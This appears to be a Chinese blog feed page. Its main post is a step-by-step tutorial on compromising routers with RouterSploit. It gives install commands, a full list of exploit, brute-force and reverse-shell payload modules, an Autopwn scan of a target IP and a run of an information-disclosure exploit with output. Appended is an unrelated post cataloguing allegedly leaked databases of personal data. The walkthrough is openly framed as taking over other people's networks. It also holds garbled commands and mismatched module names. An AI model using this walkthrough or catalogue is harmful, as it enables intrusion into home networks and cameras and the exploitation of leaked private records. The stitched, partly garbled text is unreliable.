路由器是所有人互联网体验的核心,然而大多数人都不会花太多时间来设置这个关键的硬件。旧固件、默认密码和其他配置问题仍然困扰着许多厂商。利用路由器中的这些脆弱的、被忽视的系统已经变得如此容易,以至于自动化工具都被创造出来,使这一过程变得轻而易举。

在这个教程中,我们将学习如何使用RouterSploit,这是一个自动化路由器利用的工具。但是在我们深入讨论之前,让我们先了解一下可用工具的背景信息,以及路由器利用如此之大的原因。

路由器利用的基础知识

路由器利用的工作原理是: 突破路由器的Wi-Fi安全,绕过管理登录页面,访问管理功能。然后,熟练的攻击者可以针对运行路由器的现有固件,将自定义固件放入路由器以启用高级恶意功能,这种做法被称为“rootkitting”。

根据攻击者的目标和资源,这可能包括监视用户和任何连接的设备,向浏览器中注入恶意软件以利用连接的设备,启用高级的钓鱼攻击,以及通过被利用的路由器为非法流量路由以进行犯罪活动。

政府路由器Hacking和Cherry Blossom

美国国家安全局(NSA)和中央情报局(CIA)等政府机构囤积了一些路由器漏洞,而ShadowBrokers则威胁要在产生WanaCry(或WannaCry)的Windows SMB漏洞之后发布这些漏洞。 如果他们在6月份遇到泄漏路由器漏洞的威胁,那么像Cherry Blossom这样的工具可能会成为主流。

NSA和CIA的这些工具控制受感染路由器的整个网络,将它们转换为先进的现场无线间谍设备。 当你可以把所有家用路由器都变成一个时,为什么还要安装一个神奇的间谍设备呢?

Cherry Blossom是一个rootkitting主框架,其中路由器被自动利用并转换为“flytrap”。flytrap是一种路由器,它已经被破坏,并更新了特殊的固件,以防止用户更新或修改新固件。

使用RouterSploit控制路由器

Cherry Blossom可以控制许多“flytraps”,提供即时访问位于家中或目标工作的预防间谍设备。

flytrap会建立一个“信标”并返回到一个名为“Cherryweb”的命令和控制服务器,然后由操作员通过加密的VPN隧道分配“任务”。高级模块,如“Windex”,可以对任何连接的目标进行驱动式恶意软件注入攻击,它可以将一个flytrap变成一个高级远程间谍平台,可以从任何地方进行控制。

使用RouterSploit控制路由器

Cherry Blossom显示要发送到flytrap设备的任务命令,包括shell代码,侦察脚本和漏洞利用程序。 一些可怜的家伙会得到他的Cherry Blossom。

Cherry Blossom显示要发送到flytrap设备的任务命令,包括shell代码,侦察脚本和漏洞利用程序。 一些可怜的家伙会得到他的Cherry Blossom。

IoT犯罪与路由器Hacking

除了CIA关注的间谍应用程序之外,可利用的路由器和物联网设备通常因其路由能力而成为攻击目标。 RouterSploit,我们今天使用的工具,不仅会损害路由器,还可以追踪网络摄像头和其他连接设备。

虽然CIA使用VPN连接来隐藏与命令和控制服务器之间的流量,但网络犯罪分子将使用这些设备代理恶意流量以避免检测。 实际上,这些被感染的路由器和物联网设备的网络作为黑市代理被出售,用于隐藏信用卡被盗,暗网交易和DDoS攻击等非法活动。 由于未能保护您的路由器,您可能会被注册为黑客犯罪企业的中继流量。

使用RouterSploit控制路由器

大多数人设置好路由器之后就忘了更改默认设置,更新固件或以其他方式保护它们。

初学路由器Hacking

虽然尝试默认密码是利用路由器的第一步,但也有更高级的框架适合初学者。为什么初学者想要利用路由器?在本地级别上,如果你完全破坏了路由器,你将可以完全访问网络。这使你可以控制目标的互联网体验并将其路由到你想要的任何地方,或转发端口以进行远程访问。

你应该考虑一个路由器,作为一个早期的和富有成效的目标,采取在一个阶段的接触。即使您是初学者,只要在RouterSploit上运行Autopwn扫描器,就可以针对目标IP地址自动测试一系列漏洞,将发现潜在漏洞的过程缩短到几秒钟。

什么是RouterSploit?

RouterSploit是一个便利的Python程序,它可以自动完成与路由器相关的大部分任务。以Metasploit为模型,任何熟悉Metasploit框架的人都熟悉它的命令。它包含扫描和利用模块,可以用于Kali Linux(如果需要,还可以用于macOS或Mac OS X)。

与目标网络关联后,运行扫描将显示是否可以通过框架轻松利用路由器。 今天,我们将通过Autopwn功能快速识别路由器和连接设备上的漏洞。

使用RouterSploit控制路由器

RouterSploit利用框架的登陆页面,其中包含Autopwn选项。

让其运行起来 – 你需要什么

RouterSploit很棒,因为它可以运行在Kali Linux、我们的Kali Raspberry Pi、macOS或Mac OS X、Windows,甚至可以运行在一个没有root的Android手机上。首先,我们需要处理一些依赖关系并确保安装了Python。除此之外,在你手边的任何设备上,破坏路由器从来没有这么简单过。

第一步:安装Python和依赖项

为了继续,我们需要确保已经安装了Python,并且还需要以下一些包。

  • Python3 (with pip)
  • Requests
  • Paramiko
  • Beautifulsoup4
  • Pysnmp
  • Gnureadline (macOS / Mac OS X only)

你可以用apt-get安装它们:

apt-get install python3-pip requests paramiko beautifulsoup4 pysnmp

第二步: 在Mac, Kali或其他设备上安装RouterSploit

要在Kali Linux上安装,打开一个终端窗口,输入以下命令:

git clone https://github.com/threat9/routersploit
cd routersploit
python3 -m pip install -r requirements.txt
python3 rsf.py

在macOS或Mac OS X上,方法类似。在终端窗口,输入:

git clone https://github.com/threat9/routersploit
cd routersploit
sudo easy_install pip
sudo pip install -r requirements.txt

第三步: 运行RouterSploit

第一次运行时,请用你想要扫描的路由器将计算机连接到网络。通过键入以下命令导航到RouterSploit文件夹并运行RouterSploit。

cd cd routersploit sudo python ./rsf.py

RouterSploit框架将打开,你会看到它在接口风格和工作流方面与Metasploit框架具有惊人的相似性

使用RouterSploit控制路由器

命令行界面允许你输入简单的命令来扫描和利用路由器,可以通过键入以下内容查看RouterSploit提供的所有内容:

show all

正如你在下面的输出中所看到的,有许多exploits、默认cred和扫描程序!多么有趣。

creds/generic/snmp_bruteforce
creds/generic/telnet_default
creds/generic/ssh_default
creds/generic/ftp_bruteforce
creds/generic/http_basic_digest_bruteforce
creds/generic/ftp_default
creds/generic/http_basic_digest_default
creds/generic/ssh_bruteforce
creds/generic/telnet_bruteforce
creds/routers/ipfire/ssh_default_creds
creds/routers/ipfire/telnet_default_creds
creds/routers/ipfire/ftp_default_creds
creds/routers/bhu/ssh_default_creds
creds/routers/bhu/telnet_default_creds
creds/routers/bhu/ftp_default_creds
creds/routers/linksys/ssh_default_creds
creds/routers/linksys/telnet_default_creds
creds/routers/linksys/ftp_default_creds
creds/routers/technicolor/ssh_default_creds
creds/routers/technicolor/telnet_default_creds
creds/routers/technicolor/ftp_default_creds
creds/routers/asus/ssh_default_creds
creds/routers/asus/telnet_default_creds
creds/routers/asus/ftp_default_creds
creds/routers/billion/ssh_default_creds
creds/routers/billion/telnet_default_creds
creds/routers/billion/ftp_default_creds
creds/routers/zte/ssh_default_creds
creds/routers/zte/telnet_default_creds
creds/routers/zte/ftp_default_creds
creds/routers/ubiquiti/ssh_default_creds
creds/routers/ubiquiti/telnet_default_creds
creds/routers/ubiquiti/ftp_default_creds
creds/routers/asmax/ssh_default_creds
creds/routers/asmax/telnet_default_creds
creds/routers/asmax/ftp_default_creds
creds/routers/asmax/webinterface_http_auth_default_creds
creds/routers/huawei/ssh_default_creds
creds/routers/huawei/telnet_default_creds
creds/routers/huawei/ftp_default_creds
creds/routers/tplink/ssh_default_creds
creds/routers/tplink/telnet_default_creds
creds/routers/tplink/ftp_default_creds
creds/routers/netgear/ssh_default_creds
creds/routers/netgear/telnet_default_creds
creds/routers/netgear/ftp_default_creds
creds/routers/mikrotik/ssh_default_creds
creds/routers/mikrotik/telnet_default_creds
creds/routers/mikrotik/ftp_default_creds
creds/routers/mikrotik/api_ros_default_creds
creds/routers/movistar/ssh_default_creds
creds/routers/movistar/telnet_default_creds
creds/routers/movistar/ftp_default_creds
creds/routers/dlink/ssh_default_creds
creds/routers/dlink/telnet_default_creds
creds/routers/dlink/ftp_default_creds
creds/routers/juniper/ssh_default_creds
creds/routers/juniper/telnet_default_creds
creds/routers/juniper/ftp_default_creds
creds/routers/comtrend/ssh_default_creds
creds/routers/comtrend/telnet_default_creds
creds/routers/comtrend/ftp_default_creds
creds/routers/fortinet/ssh_default_creds
creds/routers/fortinet/telnet_default_creds
creds/routers/fortinet/ftp_default_creds
creds/routers/belkin/ssh_default_creds
creds/routers/belkin/telnet_default_creds
creds/routers/belkin/ftp_default_creds
creds/routers/netsys/ssh_default_creds
creds/routers/netsys/telnet_default_creds
creds/routers/netsys/ftp_default_creds
creds/routers/pfsense/ssh_default_creds
creds/routers/pfsense/webinterface_http_form_default_creds
creds/routers/zyxel/ssh_default_creds
creds/routers/zyxel/telnet_default_creds
creds/routers/zyxel/ftp_default_creds
creds/routers/thomson/ssh_default_creds
creds/routers/thomson/telnet_default_creds
creds/routers/thomson/ftp_default_creds
creds/routers/netcore/ssh_default_creds
creds/routers/netcore/telnet_default_creds
creds/routers/netcore/ftp_default_creds
creds/routers/cisco/ssh_default_creds
creds/routers/cisco/telnet_default_creds
creds/routers/cisco/ftp_default_creds
creds/cameras/grandstream/ssh_default_creds
creds/cameras/grandstream/telnet_default_creds
creds/cameras/grandstream/ftp_default_creds
creds/cameras/basler/ssh_default_creds
creds/cameras/basler/webinterface_http_form_default_creds
creds/cameras/basler/telnet_default_creds
creds/cameras/basler/ftp_default_creds
creds/cameras/avtech/ssh_default_creds
creds/cameras/avtech/telnet_default_creds
creds/cameras/avtech/ftp_default_creds
creds/cameras/vacron/ssh_default_creds
creds/cameras/vacron/telnet_default_creds
creds/cameras/vacron/ftp_default_creds
creds/cameras/acti/ssh_default_creds
creds/cameras/acti/webinterface_http_form_default_creds
creds/cameras/acti/telnet_default_creds
creds/cameras/acti/ftp_default_creds
creds/cameras/sentry360/ssh_default_creds
creds/cameras/sentry360/telnet_default_creds
creds/cameras/sentry360/ftp_default_creds
creds/cameras/siemens/ssh_default_creds
creds/cameras/siemens/telnet_default_creds
creds/cameras/siemens/ftp_default_creds
creds/cameras/american_dynamics/ssh_default_creds
creds/cameras/american_dynamics/telnet_default_creds
creds/cameras/american_dynamics/ftp_default_creds
creds/cameras/videoiq/ssh_default_creds
creds/cameras/videoiq/telnet_default_creds
creds/cameras/videoiq/ftp_default_creds
creds/cameras/jvc/ssh_default_creds
creds/cameras/jvc/telnet_default_creds
creds/cameras/jvc/ftp_default_creds
creds/cameras/speco/ssh_default_creds
creds/cameras/speco/telnet_default_creds
creds/cameras/speco/ftp_default_creds
creds/cameras/iqinvision/ssh_default_creds
creds/cameras/iqinvision/telnet_default_creds
creds/cameras/iqinvision/ftp_default_creds
creds/cameras/avigilon/ssh_default_creds
creds/cameras/avigilon/telnet_default_creds
creds/cameras/avigilon/ftp_default_creds
creds/cameras/canon/ssh_default_creds
creds/cameras/canon/telnet_default_creds
creds/cameras/canon/ftp_default_creds
creds/cameras/canon/webinterface_http_auth_default_creds
creds/cameras/hikvision/ssh_default_creds
creds/cameras/hikvision/telnet_default_creds
creds/cameras/hikvision/ftp_default_creds
creds/cameras/dlink/ssh_default_creds
creds/cameras/dlink/telnet_default_creds
creds/cameras/dlink/ftp_default_creds
creds/cameras/honeywell/ssh_default_creds
creds/cameras/honeywell/telnet_default_creds
creds/cameras/honeywell/ftp_default_creds
creds/cameras/samsung/ssh_default_creds
creds/cameras/samsung/telnet_default_creds
creds/cameras/samsung/ftp_default_creds
creds/cameras/axis/ssh_default_creds
creds/cameras/axis/telnet_default_creds
creds/cameras/axis/ftp_default_creds
creds/cameras/axis/webinterface_http_auth_default_creds
creds/cameras/arecont/ssh_default_creds
creds/cameras/arecont/telnet_default_creds
creds/cameras/arecont/ftp_default_creds
creds/cameras/brickcom/ssh_default_creds
creds/cameras/brickcom/telnet_default_creds
creds/cameras/brickcom/ftp_default_creds
creds/cameras/brickcom/webinterface_http_auth_default_creds
creds/cameras/mobotix/ssh_default_creds
creds/cameras/mobotix/telnet_default_creds
creds/cameras/mobotix/ftp_default_creds
creds/cameras/geovision/ssh_default_creds
creds/cameras/geovision/telnet_default_creds
creds/cameras/geovision/ftp_default_creds
creds/cameras/stardot/ssh_default_creds
creds/cameras/stardot/telnet_default_creds
creds/cameras/stardot/ftp_default_creds
creds/cameras/cisco/ssh_default_creds
creds/cameras/cisco/telnet_default_creds
creds/cameras/cisco/ftp_default_creds
payloads/perl/bind_tcp
payloads/perl/reverse_tcp
payloads/python/bind_tcp
payloads/python/reverse_tcp
payloads/python/bind_udp
payloads/python/reverse_udp
payloads/mipsbe/bind_tcp
payloads/mipsbe/reverse_tcp
payloads/armle/bind_tcp
payloads/armle/reverse_tcp
payloads/x86/bind_tcp
payloads/x86/reverse_tcp
payloads/php/bind_tcp
payloads/php/reverse_tcp
payloads/cmd/php_reverse_tcp
payloads/cmd/python_reverse_tcp
payloads/cmd/python_bind_tcp
payloads/cmd/perl_reverse_tcp
payloads/cmd/netcat_reverse_tcp
payloads/cmd/awk_reverse_tcp
payloads/cmd/awk_bind_tcp
payloads/cmd/bash_reverse_tcp
payloads/cmd/php_bind_tcp
payloads/cmd/awk_bind_udp
payloads/cmd/netcat_bind_tcp
payloads/cmd/perl_bind_tcp
payloads/cmd/python_reverse_udp
payloads/cmd/python_bind_udp
payloads/x64/bind_tcp
payloads/x64/reverse_tcp
payloads/mipsle/bind_tcp
payloads/mipsle/reverse_tcp
scanners/autopwn
scanners/misc/misc_scan
scanners/routers/router_scan
scanners/cameras/camera_scan
exploits/generic/shellshock
exploits/generic/ssh_auth_keys
exploits/generic/heartbleed
exploits/misc/asus/b1m_projector_rce
exploits/misc/wepresent/wipg1000_rce
exploits/misc/miele/pg8528_path_traversal
exploits/routers/ipfire/ipfire_oinkcode_rce
exploits/routers/ipfire/ipfire_proxy_rce
exploits/routers/ipfire/ipfire_shellshock
exploits/routers/2wire/gateway_auth_bypass
exploits/routers/2wire/4011g_5012nv_path_traversal
exploits/routers/bhu/bhu_urouter_rce
exploits/routers/linksys/1500_2500_rce
exploits/routers/linksys/smartwifi_password_disclosure
exploits/routers/linksys/wrt100_110_rce
exploits/routers/linksys/wap54gv3_rce
exploits/routers/technicolor/tg784_authbypass
exploits/routers/technicolor/tc7200_password_disclosure_v2
exploits/routers/technicolor/dwg855_authbypass
exploits/routers/technicolor/tc7200_password_disclosure
exploits/routers/asus/infosvr_backdoor_rce
exploits/routers/asus/rt_n16_password_disclosure
exploits/routers/billion/billion_5200w_rce
exploits/routers/billion/billion_7700nr4_password_disclosure
exploits/routers/zte/f460_f660_backdoor
exploits/routers/zte/zxv10_rce
exploits/routers/ubiquiti/airos_6_x
exploits/routers/asmax/ar_1004g_password_disclosure
exploits/routers/asmax/ar_804_gu_rce
exploits/routers/huawei/hg520_info_dislosure
exploits/routers/huawei/hg866_password_change
exploits/routers/huawei/hg530_hg520b_password_disclosure
exploits/routers/huawei/e5331_mifi_info_disclosure
exploits/routers/tplink/wdr740nd_wdr740n_backdoor
exploits/routers/tplink/archer_c2_c20i_rce
exploits/routers/tplink/wdr740nd_wdr740n_path_traversal
exploits/routers/tplink/wdr842nd_wdr842n_configure_disclosure
exploits/routers/netgear/jnr1010_path_traversal
exploits/routers/netgear/n300_auth_bypass
exploits/routers/netgear/multi_password_disclosure-2017-5521
exploits/routers/netgear/dgn2200_dnslookup_cgi_rce
exploits/routers/netgear/prosafe_rce
exploits/routers/netgear/r7000_r6400_rce
exploits/routers/netgear/multi_rce
exploits/routers/netgear/wnr500_612v3_jnr1010_2010_path_traversal
exploits/routers/netgear/dgn2200_ping_cgi_rce
exploits/routers/mikrotik/routeros_jailbreak
exploits/routers/movistar/adsl_router_bhs_rta_path_traversal
exploits/routers/dlink/dsp_w110_rce
exploits/routers/dlink/dgs_1510_add_user
exploits/routers/dlink/dir_645_815_rce
exploits/routers/dlink/dir_815_850l_rce
exploits/routers/dlink/dir_300_320_615_auth_bypass
exploits/routers/dlink/dir_645_password_disclosure
exploits/routers/dlink/dir_850l_creds_disclosure
exploits/routers/dlink/dvg_n5402sp_path_traversal
exploits/routers/dlink/dsl_2640b_dns_change
exploits/routers/dlink/dcs_930l_auth_rce
exploits/routers/dlink/dir_825_path_traversal
exploits/routers/dlink/multi_hedwig_cgi_exec
exploits/routers/dlink/dns_320l_327l_rce
exploits/routers/dlink/dsl_2730_2750_path_traversal
exploits/routers/dlink/dsl_2750b_info_disclosure
exploits/routers/dlink/dir_300_600_rce
exploits/routers/dlink/dwl_3200ap_password_disclosure
exploits/routers/dlink/dsl_2740r_dns_change
exploits/routers/dlink/dir_8xx_password_disclosure
exploits/routers/dlink/dwr_932b_backdoor
exploits/routers/dlink/dsl_2730b_2780b_526b_dns_change
exploits/routers/dlink/dwr_932_info_disclosure
exploits/routers/dlink/dir_300_320_600_615_info_disclosure
exploits/routers/dlink/dsl_2750b_rce
exploits/routers/dlink/multi_hnap_rce
exploits/routers/dlink/dir_300_645_815_upnp_rce
exploits/routers/3com/ap8760_password_disclosure
exploits/routers/3com/imc_path_traversal
exploits/routers/3com/officeconnect_rce
exploits/routers/3com/officeconnect_info_disclosure
exploits/routers/3com/imc_info_disclosure
exploits/routers/comtrend/ct_5361t_password_disclosure
exploits/routers/fortinet/fortigate_os_backdoor
exploits/routers/multi/rom0
exploits/routers/multi/tcp_32764_rce
exploits/routers/multi/misfortune_cookie
exploits/routers/multi/tcp_32764_info_disclosure
exploits/routers/multi/gpon_home_gateway_rce
exploits/routers/belkin/g_plus_info_disclosure
exploits/routers/belkin/play_max_prce
exploits/routers/belkin/n150_path_traversal
exploits/routers/belkin/n750_rce
exploits/routers/belkin/g_n150_password_disclosure
exploits/routers/belkin/auth_bypass
exploits/routers/netsys/multi_rce
exploits/routers/shuttle/915wm_dns_change
exploits/routers/zyxel/d1000_rce
exploits/routers/zyxel/p660hn_t_v2_rce
exploits/routers/zyxel/d1000_wifi_password_disclosure
exploits/routers/zyxel/zywall_usg_extract_hashes
exploits/routers/zyxel/p660hn_t_v1_rce
exploits/routers/thomson/twg850_password_disclosure
exploits/routers/thomson/twg849_info_disclosure
exploits/routers/netcore/udp_53413_rce
exploits/routers/cisco/secure_acs_bypass
exploits/routers/cisco/catalyst_2960_rocem
exploits/routers/cisco/ucs_manager_rce
exploits/routers/cisco/unified_multi_path_traversal
exploits/routers/cisco/firepower_management60_path_traversal
exploits/routers/cisco/firepower_management60_rce
exploits/routers/cisco/video_surv_path_traversal
exploits/routers/cisco/dpc2420_info_disclosure
exploits/routers/cisco/ios_http_authorization_bypass
exploits/routers/cisco/ucm_info_disclosure
exploits/cameras/grandstream/gxv3611hd_ip_camera_sqli
exploits/cameras/grandstream/gxv3611hd_ip_camera_backdoor
exploits/cameras/mvpower/dvr_jaws_rce
exploits/cameras/siemens/cvms2025_credentials_disclosure
exploits/cameras/avigilon/videoiq_camera_path_traversal
exploits/cameras/xiongmai/uc_httpd_path_traversal
exploits/cameras/dlink/dcs_930l_932l_auth_bypass
exploits/cameras/honeywell/hicc_1100pt_password_disclosure
exploits/cameras/brickcom/corp_network_cameras_conf_disclosure
exploits/cameras/brickcom/users_cgi_creds_disclosure
exploits/cameras/multi/P2P_wificam_credential_disclosure
exploits/cameras/multi/dvr_creds_disclosure
exploits/cameras/multi/jvc_vanderbilt_honeywell_path_traversal
exploits/cameras/multi/netwave_ip_camera_information_disclosure
exploits/cameras/multi/P2P_wificam_rce
generic/bluetooth/btle_enumerate
generic/bluetooth/btle_scan
generic/bluetooth/btle_write
generic/upnp/ssdp_msearch
rsf >

首先,我们将从扫描目标路由器开始,它将检查是否每个漏洞都可能对它起作用。它将在扫描结束时返回一个列表,其中包含针对目标的每一个攻击——不需要进行任何研究。

第四步: 扫描目标

我们将使用Autopwn扫描程序查找适用于我们目标的任何漏洞。 找到路由器的IP地址并保存,因为我们很快就需要输入它。 大多数情况下路由器是192.168.0.1,但这是可以改变的。 如果你不知道,可以使用FingARP-scan查找IP地址。

启动RouterSploit后,输入以下命令进入Autopwn模块。

use scanners/autopwn
show options

这与Metasploit非常相似。为了解决这个问题,输入use,然后输入要使用的模块,show options来显示你所选择的模块的变量,set设置为从show options命令中看到的任何变量,最后,run以执行模块。很简单。要关闭模块并将您带到主屏幕,请键入exit

rsf > use scanners/autopwn
rsf (AutoPwn) > show options

Target options:

   Name       Current settings     Description
   ----       ----------------     -----------
   target                          Target IPv4 or IPv6 address

Module options:

   Name            Current settings     Description
   ----            ----------------     -----------
   http_port       80                   Target Web Interface Port
   http_ssl        false                HTTPS enabled: true/false
   ftp_port        21                   Target FTP port (default: 21)
   ftp_ssl         false                FTPS enabled: true/false
   ssh_port        22                   Target SSH port (default: 22)
   telnet_port     23                   Target Telnet port (default: 23)
   threads         8

在这种情况下,我们将目标设置为路由器的IP地址。输入set target,然后是路由器的IP地址,然后按enter键。最后,输入run开始扫描。

rsf (AutoPwn) > set target 10.11.0.4
 [+] {'target': '10.11.0.4'}
rsf (AutoPwn) > run

第五步: 选择和配置漏洞利用

扫描完成后,我们将得到它发现的漏洞列表。我们可以从这个列表中选择最适合我们需要的。这里,我们看到一个路由器有很多漏洞。

[*] Elapsed time:  ``9.301568031 seconds

[*] Could not verify exploitability:
 - exploits/routers/billion/5200w_rce
 - exploits/routers/cisco/catalyst_2960_rocem
 - exploits/routers/cisco/secure_acs_bypass
 - exploits/routers/dlink/dir_815_8501_rce
 - exploits/routers/dlink/dsl_2640b_dns_change
 - exploits/routers/dlink/dsl_2730b_2780b_526_dns_change
 - exploits/routers/dlink/dsl_2740r_dns_change
 - exploits/routers/netgear/dgn2200_dnslookup_cgi_rce
 - exploits/routers/shuttle/915wm_dns_change

[*] Device is vulnerable:
 - exploits/routers/3com/3crads172_info_disclosure
 - exploits/routers/3com/officialconnect_rce
 - exploits/routers/dlink/dcs_9301_auto_rce
 - exploits/routers/dlink/dir_300_600_rce
 - exploits/routers/ipfire/ipfire_proxy_rce
 - exploits/routers/linksys/1500_2500_rce
 - exploits/routers/netgear/prosafe_rce
 - exploits/routers/zyxel/zywall_usg_extract_hashes
 - exploits/routers/dlink/dcs_9301_9321_authbypass

rsf (AutoPwn) >

让我们从这些脆弱路由器中的一个简单漏洞开始,其中一些泄露了信息。要使用这个漏洞,我们将输入以下命令。

use exploits/routers/3com/3cradsl72_info_disclosure
show options

将出现一个变量列表,可以通过输入以下命令来设置目标:

set target 
check

这将设置目标并确认它是易受攻击的。

rsf (AutoPwn) > use exploits/routers/3com/3cradsl72_info_disclosure
show options
rsf (3Com 3CRADSL72 Info Disclosure) > show options

Target options:

   Name       Current settings     Description
   ----       ----------------     -----------
   target                          Target IPv4 or IPv6 address

rsf (3Com 3CRADSL72 Info Disclosure) > set target 10.11.0.4
 [+] {'target': '10.11.0.4'}
rsf (3Com 3CRADSL72 Info Disclosure) > check
/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7.site-package ... reRequestWarning: Unverified HTTPS request is being made. Adding certificate https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings InsecureRequestWarning)
 [+] Target is vulnerable
rsf (3Com 3CRADSL72 Info Disclosure) >

第六步: 运行Exploit

目标看起来不错,也很脆弱。要启动有效负载,请键入run

rsf (3Com 3CRADSL72 Info Disclosure) > run
 [*] Running module...
 [*] Sending request to download sensitive information
/Library/Frameworks/Python.framework/Versions/2.7/lib/python2.7.site-package ... reRequestWarning: Unverified HTTPS request is being made. Adding certificate https://urllib3.readthedocs.io/en/latest/advanced-usage.html#ssl-warnings InsecureRequestWarning)
 [+] Exploit success
 [*] Reading /app_sta.stm file




  
  
  

如果攻击成功,应该会出现内部配置设置,这些设置可能泄露用户的登录名和密码、默认密码和设备序列号,以及其他允许你破坏路由器的设置。其他模块允许你远程注入代码或直接公开路由器密码。你可以运行哪一个取决于目标路由器容易受到什么攻击。

本简介将使你熟悉如何运行RouterSploit来破坏路由器,现在你可以开始使用其他模块并尝试不同类型的利用。虽然Autopwn是一个方便的特性,但它尝试了很多不同的利用方式,因此在网络上非常复杂。首选选项是扫描你的目标,做一些侦察,并只运行目标路由器制造商的相关模块.

The post 使用RouterSploit控制路由器 入侵路由器 appeared first on 🔰雨苁ℒ🔰.

2018年数据泄露汇总 何谈隐私保护?谁来保护?

$
0
0

2018年数据泄露汇总 22个黑客技术练习网站 黑客技巧学习 ctf

以下内容来源于暗网,仅作为参考,并不保证所有数据都是真实泄露,只能说是疑似泄露,毕竟暗网是个虚虚实实,真真假假, 鱼目混珠, 高手云集,鱼龙混杂的地方,也许有些人为了恶意诋毁一些公司或者不正当竞争用的不光彩手段.当然,对于这种事宁可信其有的好.

泄露的数据包含哪些? 账号 密码 姓名 性别 身份证号 电话号码 家庭住址 邮箱 通讯录 银行账号 购买记录 手持身份证自拍照 各种艳照 总之,只要是服务器能保存下来的,都可能泄露,我们的隐私早就没了,除非不上网.

2018年数据泄露汇总

1×01:先来列个表

数据库┼─2008
│ 2008.01-深圳社保-38万-access.rar-11.5MB
│ 2008.02-腾讯总部通讯录-450-xls.zip-75KB
│ 2008.10-重庆移动-454万-access.zip-247.7MB
│
├─2010
│ 2010.02-Facebook-100万-2.79GB
│ facebook-f.last-withcount.txt.bz2-63.3MB
│ facebook-first.l-withcount.txt.bz2-35.2MB
│ facebook-firstnames-withcount.txt.bz2-15.6MB
│ facebook-lastnames-withcount.txt.bz2-20.2MB
│ facebook-names-original.txt.bz2-480.7MB
│ facebook-names-unique.txt.bz2-457.1MB
│ facebook-names-withcount.txt.bz2-455.2MB
│ facebook-urls.txt.bz2-1.29GB
│ facebook.nse-4KB
│ facebook.rb-1KB
│ fbdata.torrent-16KB
│ README-2KB
│ 2010.06-江西移动全库-408万-access.7z-1.24GB
│
├─2011
│ 2011.01-美空网-48万-txt.zip-12.1MB
│ 2011.03-多玩游戏网-800万-txt.rar-216.9MB
│ 2011.03-织梦CMS官网数据库-34万-sql.zip-17.7MB
│ 2011.04-766游戏网-12万-sql.rar-4.8MB
│ 2011.04-IS语音-969万-txt.zip-168.8MB
│ 2011.04-亚马逊中国买家信息-20万.zip-7.2MB
│ 2011.04-凡客诚品买家信息-20万-Excel.zip-7.4MB
│ 2011.04-当当网买家信息-101万-Excel.zip-7.5MB
│ 2011.04-爱拍游戏网-1100万-txt.zip-255.4MB
│ 2011.04-猴岛游戏社区-2683万-txt.rar-301.9MB
│ 2011.05-上海市银行大额客户-21万-xls.rar-9.4MB
│ 2011.05-木蚂蚁-13万-sql.zip-8.2MB
│ 2011.07-土木在线-540万-sql.zip-616.0MB
│ 2011.08-DEDECMS官网-35万-sql.zip-20.9MB
│ 2011.10-178游戏网-1000万-txt.rar-103.5MB
│ 2011.10-CSDN.NET-600万-sql.rar-104.8MB
│ 2011.10-嘟嘟牛-66277-txt.rar-205.7MB
│ 2011.11-7k7k小游戏-2000万-txt.rar-194.2MB
│ 2011.11-QQ老信大全-500万-txt.rar-64.4MB
│ 2011.11-人人网-500万-txt.rar-49.6MB
│ 2011.12-sina-7000万-txt.rar-262.7MB
│ 2011.12-weibo.com12160-476万-sql.rar-48.6MB
│ 2011.12-天涯社区-4000万-txt.rar-470.6MB
│ 2011.12-智联招聘-244万-access.rar-157.3MB
│ 2011.12-淘宝买家卖家邮箱-2500万-txt.zip-129.3MB
│ 2011.12-猫扑-304万-txt.rar-31.7MB
│ 2011.12-珍爱网-500万-txt.zip-59.6MB
│
├─2012
│ 2012.01-千脑-70万-csv.rar-32.4MB
│ 2012.01-卫生部医学研究院库-10万-sql-未解密.rar-5.2MB
│ 2012.02-AcFun-15万-txt.rar-2.1MB
│ 2012.02-相宜本草订单会员-35万-xls.zip-41.5MB
│ 2012.03-刘亦菲论坛-14552-txt.rar-490KB
│ 2012.03-圆通数据库-mssql.rar-121.6MB
│ 2012.05-twitter-60252-txt.rar-680KB
│ 2012.05-平安直销车险-2500万-txt.rar-254.7MB
│ 2012.06-LinkedIn-16737万-txt.rar-6.99GB
│ 2012.07-Dropbox-6868万-txt.zip-2.74GB
│ 2012.07-Yahoo-45万-txt.bz2-6.6MB
│ 2012.07-走秀网-160万-txt.zip-494.1MB
│ 2012.08-小米论坛-828万-mysql.rar-494.9MB
│ 2012.08-小米论坛-828万-txt.rar-344.9MB
│ 2012.08-小米论坛-828万.gz-565.1MB
│ 2012.09-www.699.com相亲网-10万-txt.rar-1.6MB
│ 2012.10-QQ精准客户名单-4500万-txt.rar-125.3MB
│ 2012.10-vip.qq.com-3480-sql.zip-119KB
│ 2012.12-京东-77438-txt.rar-795KB
│
├─2013
│ 2013.05-汉庭如家-2000万-1.71GB
│ 2013.11-QQ群数据库-92G
│ 2013.11-腾讯-7000万-25.19GB
│ QQ数据库.7z.001-4.38GB
│ QQ数据库.7z.002-4.38GB
│ QQ数据库.7z.003-4.38GB
│ QQ数据库.7z.004-4.38GB
│ QQ数据库.7z.005-4.38GB
│ QQ数据库.7z.006-2.66GB
│ 破解工具包.rar-675.6MB
│ 解压密码.txt-47B
│ 2013.03-天生赢家社区-9853-txt.rar-903KB
│ 2013.04-DNF-700万-mysql.zip-292.0MB
│ 2013.05-林俊杰官网-43493-txt.rar-968KB
│ 2013.05-菲律宾政府-2128-txt.rar-86KB
│ 2013.05-酒店开房记录-2000万-mssql.7z-1.30GB
│ 2013.06-Myspace.com-36021万-txt.7z-11.57GB
│ 2013.06-Myspace.com-36021万.rar-14.27GB
│ 2013.06-红尘网安-22892-sql.rar-1.2MB
│ 2013.07-358团购-14888-txt.rar-889KB
│ 2013.07-赛迪网IT类-176万-mysql.zip-91.5MB
│ 2013.09-镇江市住房公积金用户信息-62万-txt.rar-24.7MB
│ 2013.10-蓝魔安全技术小组的裤子www.86hack.com-sql.zip-2KB
│ 2013.11-f4ck-2852-excel.zip-303KB
│ 2013.11-时时购-1亿634万-txt.rar-971.6MB
│ 2013.11-永硕E盘ys168-67896-txt.rar-978KB
│ 2013.11-阳光互联-68万-txt.zip-22.1MB
│ 2013.12-全国村以上代码-737037-txt.zip-4.5MB
│ 2013.12-北京理工大学珠海学院论坛-csv.rar-2.4MB
│ 2013.12-后盾网-400万-sql.zip-99.6MB
│ 2013.12-机锋论坛-228万-mysql.zip-109.3MB
│ 2013.12-机锋论坛-479万-txt.zip-219.6MB
│
├─2014
